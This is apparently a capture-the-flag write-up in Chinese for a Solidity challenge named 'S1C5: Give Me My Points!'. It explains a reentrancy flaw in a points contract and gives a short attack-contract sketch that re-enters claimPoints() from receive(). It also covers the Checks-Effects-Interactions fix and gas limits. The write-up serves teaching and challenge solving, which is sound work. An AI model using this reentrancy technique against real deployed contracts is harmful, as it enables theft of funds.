Skip to content
On this page

S1C5: Give Me My Points!

1. 问题

合约有一个积分系统:claimPoints() 每次 +1 分,upgradeLevel() 消耗积分升级。需要满足特定条件(积分 × 等级)才能 mint flag。合约使用单个 points 变量。

2. 原因

claimPoints() 函数在更新 points 状态之前进行了外部调用(发送 ETH),这允许攻击者通过 receive() 回调重入 claimPoints(),在状态更新前重复获取积分。

3. 方案

部署攻击合约,利用重入攻击:

solidity
contract S1C5Solution {
    function solve() external {
        challenge.claimPoints(); // 触发重入循环
        // points 已经累加到足够数量
        challenge.upgradeLevel();
        challenge.mintFlag();
    }

    receive() external payable {
        if (points < TARGET) {
            challenge.claimPoints(); // 重入
        }
    }
}

4. 遇到的陷阱

重入次数控制: 需要在 receive() 中精确控制重入次数,避免 gas 耗尽。

5. 陷阱的原因

每次重入调用都会消耗 gas。如果循环次数过多,可能超出 block gas limit。需要在循环中加入计数器并在达到目标后停止。

6. 如何解决

在攻击合约中使用计数器变量,在 receive() 中检查计数器并在达到目标次数后停止重入。

7. 技术要点

要点说明
重入攻击 (Reentrancy)外部调用在状态更新之前执行,允许攻击者重复进入同一函数
CEI 模式Checks-Effects-Interactions:应先更新状态,再进行外部调用
gas 管理重入循环需要控制次数以避免超出 gas limit

Built with AiAda